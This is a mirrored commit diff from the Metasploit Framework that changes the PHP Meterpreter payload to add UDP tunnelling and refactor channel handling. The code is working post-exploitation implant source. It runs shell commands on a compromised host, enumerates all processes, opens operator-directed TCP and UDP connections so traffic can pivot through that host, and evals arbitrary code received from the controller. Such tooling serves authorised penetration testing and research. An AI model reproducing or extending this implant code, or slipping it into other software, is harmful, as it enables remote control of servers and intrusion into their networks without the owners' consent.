mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
add udp support for tunneling. tested with udp_probe
git-svn-id: file:///home/svn/framework3/trunk@9816 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
dcb3ab6441
commit
8de510f914
@ -175,7 +175,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
}
|
||||
|
||||
# Global list of processes so we know what to kill when a channel gets closed
|
||||
$processes = array();
|
||||
$GLOBALS['processes'] = array();
|
||||
|
||||
if (!function_exists('stdapi_sys_process_execute')) {
|
||||
function stdapi_sys_process_execute($req, &$pkt) {
|
||||
@ -197,7 +197,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
|
||||
}
|
||||
#my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")");
|
||||
if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
|
||||
global $processes, $channels;
|
||||
global $processes;
|
||||
my_print("Channelized");
|
||||
$handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes);
|
||||
if ($handle === false) {
|
||||
@ -207,15 +207,14 @@ function stdapi_sys_process_execute($req, &$pkt) {
|
||||
register_stream($pipes[0]);
|
||||
register_stream($pipes[1]);
|
||||
register_stream($pipes[2]);
|
||||
|
||||
$channels[] = $pipes;
|
||||
$cid = register_channel($pipes[0], $pipes[1], $pipes[2]);
|
||||
|
||||
# associate the process with this channel so we know when to close it.
|
||||
$processes[count($channels) - 1] = $handle;
|
||||
$processes[$cid] = $handle;
|
||||
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, count($channels)-1));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
||||
} else {
|
||||
# Don't care about stdin/stdout, just run the command
|
||||
my_cmd($real_cmd);
|
||||
@ -255,7 +254,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
} else {
|
||||
# This command produces a line like:
|
||||
# 1553 root /sbin/getty -8 38400 tty1
|
||||
$output = my_cmd("ps a -w -o pid,user,cmd --no-header 2>/dev/null");
|
||||
$output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null");
|
||||
$lines = explode("\n", trim($output));
|
||||
foreach ($lines as $line) {
|
||||
array_push($list, preg_split("/\s+/", trim($line)));
|
||||
@ -318,7 +317,6 @@ function stdapi_sys_process_kill($req, &$pkt) {
|
||||
|
||||
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
|
||||
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
|
||||
global $channels;
|
||||
my_print("doing stdapi_net_socket_tcp_shutdown");
|
||||
$cid_tlv = packet_get_tlv(TLV_TYPE_CHANNEL_ID, $req);
|
||||
$c = get_channel_by_id($cid_tlv['value']);
|
||||
@ -342,7 +340,6 @@ function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
|
||||
|
||||
if (!function_exists('channel_create_stdapi_fs_file')) {
|
||||
function channel_create_stdapi_fs_file($req, &$pkt) {
|
||||
global $channels;
|
||||
$fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE);
|
||||
#my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}");
|
||||
@ -353,9 +350,7 @@ function channel_create_stdapi_fs_file($req, &$pkt) {
|
||||
|
||||
if (is_resource($fd)) {
|
||||
register_stream($fd);
|
||||
array_push($channels, array(0 => $fd, 1 => $fd, 'type' => 'stream'));
|
||||
$id = count($channels) - 1;
|
||||
my_print("Created new file channel $fd, with id $id");
|
||||
$id = register_channel($fd);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
|
||||
return ERROR_SUCCESS;
|
||||
} else {
|
||||
@ -368,7 +363,6 @@ function channel_create_stdapi_fs_file($req, &$pkt) {
|
||||
|
||||
if (!function_exists('channel_create_stdapi_net_tcp_client')) {
|
||||
function channel_create_stdapi_net_tcp_client($req, &$pkt) {
|
||||
global $channels;
|
||||
my_print("creating tcp client");
|
||||
|
||||
$peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
|
||||
@ -397,9 +391,38 @@ function channel_create_stdapi_net_tcp_client($req, &$pkt) {
|
||||
# If we got here, the connection worked, respond with the new channel ID
|
||||
#
|
||||
|
||||
array_push($channels, array(0 => $sock, 1 => $sock, 'type' => get_rtype($sock)));
|
||||
$id = count($channels) - 1;
|
||||
my_print("Created new channel $sock, with id $id");
|
||||
$id = register_channel($sock);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
|
||||
add_reader($sock);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
if (!function_exists('channel_create_stdapi_net_udp_client')) {
|
||||
function channel_create_stdapi_net_udp_client($req, &$pkt) {
|
||||
my_print("creating udp client");
|
||||
|
||||
$peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
|
||||
$peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
|
||||
|
||||
# We can't actually do anything with local_host and local_port because PHP
|
||||
# doesn't let us specify these values in any of the exposed socket API
|
||||
# functions.
|
||||
#$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
|
||||
#$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
|
||||
|
||||
$sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp');
|
||||
my_print("UDP channel on {$sock}");
|
||||
|
||||
if (!$sock) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
#
|
||||
# If we got here, the connection worked, respond with the new channel ID
|
||||
#
|
||||
|
||||
$id = register_channel($sock);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
|
||||
add_reader($sock);
|
||||
return ERROR_SUCCESS;
|
||||
@ -409,4 +432,3 @@ function channel_create_stdapi_net_tcp_client($req, &$pkt) {
|
||||
|
||||
|
||||
|
||||
|
||||
|
@ -11,6 +11,11 @@ if (!isset($GLOBALS['resource_type_map'])) {
|
||||
$GLOBALS['resource_type_map'] = array();
|
||||
}
|
||||
|
||||
# global map of sockets to the associated peer host.
|
||||
if (!isset($GLOBALS['udp_host_map'])) {
|
||||
$GLOBALS['udp_host_map'] = array();
|
||||
}
|
||||
|
||||
# global list of resources we need to watch in the main select loop
|
||||
if (!isset($GLOBALS['readers'])) {
|
||||
$GLOBALS['readers'] = array();
|
||||
@ -18,8 +23,6 @@ if (!isset($GLOBALS['readers'])) {
|
||||
|
||||
function my_print($str) {
|
||||
#error_log($str);
|
||||
#print($str ."\n");
|
||||
#flush();
|
||||
}
|
||||
|
||||
my_print("Evaling main meterpreter stage");
|
||||
@ -312,6 +315,7 @@ function core_channel_open($req, &$pkt) {
|
||||
# needing to modify the core code.
|
||||
$handler = "channel_create_". $type_tlv['value'];
|
||||
if ($type_tlv['value'] && is_callable($handler)) {
|
||||
my_print("Calling {$handler}");
|
||||
$ret = $handler($req, $pkt);
|
||||
} else {
|
||||
my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =(");
|
||||
@ -321,14 +325,14 @@ function core_channel_open($req, &$pkt) {
|
||||
return $ret;
|
||||
}
|
||||
|
||||
# Works for streams
|
||||
function core_channel_eof($req, &$pkt) {
|
||||
my_print("doing channel eof");
|
||||
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
$c = get_channel_by_id($chan_tlv['value']);
|
||||
|
||||
if ($c) {
|
||||
# XXX Doesn't work with sockets.
|
||||
if (@feof($c[1])) {
|
||||
if (eof($c[1])) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1));
|
||||
} else {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0));
|
||||
@ -339,7 +343,7 @@ function core_channel_eof($req, &$pkt) {
|
||||
}
|
||||
}
|
||||
|
||||
# Works for streams that work with fread
|
||||
# Works
|
||||
function core_channel_read($req, &$pkt) {
|
||||
my_print("doing channel read");
|
||||
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
@ -356,7 +360,7 @@ function core_channel_read($req, &$pkt) {
|
||||
return $res;
|
||||
}
|
||||
|
||||
# Works for streams that work with fwrite
|
||||
# Works
|
||||
function core_channel_write($req, &$pkt) {
|
||||
my_print("doing channel write");
|
||||
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
@ -453,12 +457,12 @@ function core_channel_interact($req, &$pkt) {
|
||||
function core_loadlib($req, &$pkt) {
|
||||
my_print("doing core_loadlib (no-op)");
|
||||
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
|
||||
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
||||
return ERROR_FAILURE;
|
||||
} else {
|
||||
eval($data_tlv['value']);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
||||
return ERROR_FAILURE;
|
||||
} else {
|
||||
eval($data_tlv['value']);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@ -471,6 +475,16 @@ function core_loadlib($req, &$pkt) {
|
||||
##
|
||||
$channels = array();
|
||||
|
||||
function register_channel($in, $out=null, $err=null) {
|
||||
global $channels;
|
||||
if ($out == null) { $out = $in; }
|
||||
if ($err == null) { $err = $out; }
|
||||
$id = count($channels);
|
||||
$channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in));
|
||||
my_print("Created new channel $in, with id $id");
|
||||
return $id;
|
||||
}
|
||||
|
||||
function get_channel_id_from_resource($resource) {
|
||||
global $channels;
|
||||
#my_print("Looking up channel from resource $resource");
|
||||
@ -518,6 +532,17 @@ function channel_read($chan_id, $len) {
|
||||
# TLV Helper Functions
|
||||
##
|
||||
|
||||
function generate_req_id() {
|
||||
$characters = 'abcdefghijklmnopqrstuvwxyz';
|
||||
$rid = '';
|
||||
|
||||
for ($p = 0; $p < 32; $p++) {
|
||||
$rid .= $characters[rand(0, strlen($characters))];
|
||||
}
|
||||
|
||||
return $rid;
|
||||
}
|
||||
|
||||
function handle_dead_resource_channel($resource) {
|
||||
$cid = get_channel_id_from_resource($resource);
|
||||
my_print("Handling dead resource: {$resource}");
|
||||
@ -525,8 +550,7 @@ function handle_dead_resource_channel($resource) {
|
||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
|
||||
# XXX Make this random
|
||||
$req_id = str_repeat("A",32);
|
||||
$req_id = generate_req_id();
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
||||
|
||||
@ -535,17 +559,23 @@ function handle_dead_resource_channel($resource) {
|
||||
return $pkt;
|
||||
}
|
||||
function handle_resource_read_channel($resource, $data) {
|
||||
global $udp_host_map;
|
||||
$cid = get_channel_id_from_resource($resource);
|
||||
my_print("Handling data from $resource: {$data}");
|
||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||
|
||||
# Build a new Packet
|
||||
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
|
||||
# XXX Make this random
|
||||
$req_id = str_repeat("A",32);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id));
|
||||
$req_id = generate_req_id();
|
||||
if (array_key_exists((int)$resource, $udp_host_map)) {
|
||||
list($h,$p) = $udp_host_map[(int)$resource];
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p));
|
||||
}
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data)));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, $req_id));
|
||||
|
||||
# Add the length to the beginning of the packet
|
||||
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
||||
@ -654,61 +684,101 @@ function packet_get_tlv($pkt, $type) {
|
||||
##
|
||||
|
||||
|
||||
function register_socket($sock) {
|
||||
global $resource_type_map;
|
||||
my_print("Registering socket $sock");
|
||||
function register_socket($sock, $ipaddr=null, $port=null) {
|
||||
global $resource_type_map, $udp_host_map;
|
||||
my_print("Registering socket $sock for ($ipaddr:$port)");
|
||||
$resource_type_map[(int)$sock] = 'socket';
|
||||
if ($ipaddr) {
|
||||
$udp_host_map[(int)$sock] = array($ipaddr, $port);
|
||||
#dump_array($udp_host_map, "UDP Map after registering a new socket");
|
||||
}
|
||||
}
|
||||
|
||||
function register_stream($stream) {
|
||||
global $resource_type_map;
|
||||
my_print("Registering stream $stream");
|
||||
# The stream functions cannot be unconnected, so don't require a host map
|
||||
function register_stream($stream, $ipaddr=null, $port=null) {
|
||||
global $resource_type_map, $udp_host_map;
|
||||
my_print("Registering stream $stream for ($ipaddr:$port)");
|
||||
$resource_type_map[(int)$stream] = 'stream';
|
||||
if ($ipaddr) {
|
||||
$udp_host_map[(int)$stream] = array($ipaddr, $port);
|
||||
#dump_array($udp_host_map, "UDP Map after registering a new stream");
|
||||
}
|
||||
}
|
||||
|
||||
function connect($ipaddr, $port) {
|
||||
function connect($ipaddr, $port, $proto='tcp') {
|
||||
my_print("Doing connect($ipaddr, $port)");
|
||||
$sock = false;
|
||||
# Prefer the stream versions so we don't have to use both select functions
|
||||
# unnecessarily, but fall back to socket_create if they aren't available.
|
||||
if (is_callable('stream_socket_client')) {
|
||||
my_print("stream_socket_client");
|
||||
$sock = stream_socket_client("tcp://{$ipaddr}:{$port}");
|
||||
$sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}");
|
||||
if (!$sock) { return false; }
|
||||
register_stream($sock);
|
||||
if ($proto == 'tcp') {
|
||||
register_stream($sock);
|
||||
} elseif ($proto == 'udp') {
|
||||
register_stream($sock, $ipaddr, $port);
|
||||
}
|
||||
} else
|
||||
if (is_callable('fsockopen')) {
|
||||
my_print("fsockopen");
|
||||
$sock = fsockopen($ipaddr,$port);
|
||||
if (!$sock) { return false; }
|
||||
register_stream($sock);
|
||||
if ($proto == 'tcp') {
|
||||
$sock = fsockopen($ipaddr,$port);
|
||||
if (!$sock) { return false; }
|
||||
register_stream($sock);
|
||||
} else {
|
||||
$sock = fsockopen($proto."://".$ipaddr,$port);
|
||||
if (!$sock) { return false; }
|
||||
register_stream($sock, $ipaddr, $port);
|
||||
}
|
||||
} elseif (is_callable('socket_create')) {
|
||||
my_print("socket_create");
|
||||
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_connect($sock, $ipaddr, $port);
|
||||
if (!$res) { return false; }
|
||||
register_socket($sock);
|
||||
if ($proto == 'tcp') {
|
||||
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_connect($sock, $ipaddr, $port);
|
||||
if (!$res) { return false; }
|
||||
register_socket($sock);
|
||||
} elseif ($proto == 'udp') {
|
||||
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
|
||||
register_socket($sock, $ipaddr, $port);
|
||||
}
|
||||
}
|
||||
|
||||
return $sock;
|
||||
}
|
||||
|
||||
function eof($resource) {
|
||||
$ret = false;
|
||||
switch (get_rtype($resource)) {
|
||||
# XXX Doesn't work with sockets.
|
||||
case 'socket': break;
|
||||
case 'stream': $ret = feof($resource); break;
|
||||
}
|
||||
return $ret;
|
||||
}
|
||||
|
||||
function close($resource) {
|
||||
my_print("Closing resource $resource");
|
||||
global $readers, $resource_type_map;
|
||||
global $readers, $resource_type_map, $udp_host_map;
|
||||
|
||||
remove_reader($resource);
|
||||
switch (get_rtype($resource)) {
|
||||
case 'socket': return socket_close($resource); break;
|
||||
case 'stream': return fclose($resource); break;
|
||||
case 'socket': $ret = socket_close($resource); break;
|
||||
case 'stream': $ret = fclose($resource); break;
|
||||
}
|
||||
# Every resource should be in the resource type map, but check anyway
|
||||
if (array_key_exists((int)$resource, $resource_type_map)) {
|
||||
my_print("Removing $resource from resource_type_map");
|
||||
unset($resource_type_map[(int)$resource]);
|
||||
}
|
||||
if (array_key_exists((int)$resource, $udp_host_map)) {
|
||||
my_print("Removing $resource from udp_host_map");
|
||||
unset($udp_host_map[(int)$resource]);
|
||||
}
|
||||
return $ret;
|
||||
}
|
||||
|
||||
function read($resource, $len=null) {
|
||||
global $udp_host_map;
|
||||
# Max packet length is magic. If we're reading a pipe that has data but
|
||||
# isn't going to generate any more without some input, then reading less
|
||||
# than all bytes in the buffer or 8192 bytes, the next read will never
|
||||
@ -717,7 +787,15 @@ function read($resource, $len=null) {
|
||||
my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
|
||||
$buff = '';
|
||||
switch (get_rtype($resource)) {
|
||||
case 'socket': $buff = socket_read($resource, $len, PHP_BINARY_READ); break;
|
||||
case 'socket':
|
||||
if (array_key_exists((int)$resource, $udp_host_map)) {
|
||||
my_print("Reading UDP socket");
|
||||
list($host,$port) = $udp_host_map[(int)$resource];
|
||||
socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
|
||||
} else {
|
||||
$buff = socket_read($resource, $len, PHP_BINARY_READ);
|
||||
}
|
||||
break;
|
||||
case 'stream': $buff = fread($resource, $len); break;
|
||||
default: my_print("Wtf don't know how to read from resource $resource"); break;
|
||||
}
|
||||
@ -726,11 +804,20 @@ function read($resource, $len=null) {
|
||||
}
|
||||
|
||||
function write($resource, $buff, $len=0) {
|
||||
global $udp_host_map;
|
||||
if ($len == 0) { $len = strlen($buff); }
|
||||
my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource)));
|
||||
$count = false;
|
||||
switch (get_rtype($resource)) {
|
||||
case 'socket': $count = socket_write($resource, $buff, $len); break;
|
||||
case 'socket':
|
||||
if (array_key_exists((int)$resource, $udp_host_map)) {
|
||||
my_print("Writing UDP socket");
|
||||
list($host,$port) = $udp_host_map[(int)$resource];
|
||||
$count = socket_sendto($resource, $buff, $len, $host, $port);
|
||||
} else {
|
||||
$count = socket_write($resource, $buff, $len);
|
||||
}
|
||||
break;
|
||||
case 'stream': $count = fwrite($resource, $buff, $len); break;
|
||||
default: my_print("Wtf don't know how to write to resource $resource"); break;
|
||||
}
|
||||
@ -915,10 +1002,12 @@ while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
|
||||
my_print("not Msgsock: $ready");
|
||||
$data = read($ready);
|
||||
my_print(sprintf("Read returned %s bytes", strlen($data)));
|
||||
if (false === $data || strlen($data) == 0) {
|
||||
if (false === $data) {
|
||||
$request = handle_dead_resource_channel($ready);
|
||||
write($msgsock, $request);
|
||||
remove_reader($ready);
|
||||
} elseif (strlen($data) == 0) {
|
||||
remove_reader($ready);
|
||||
} else {
|
||||
$request = handle_resource_read_channel($ready, $data);
|
||||
my_print("Got some data from a channel that needs to be passed back to the msgsock");
|
||||
|
Loading…
Reference in New Issue
Block a user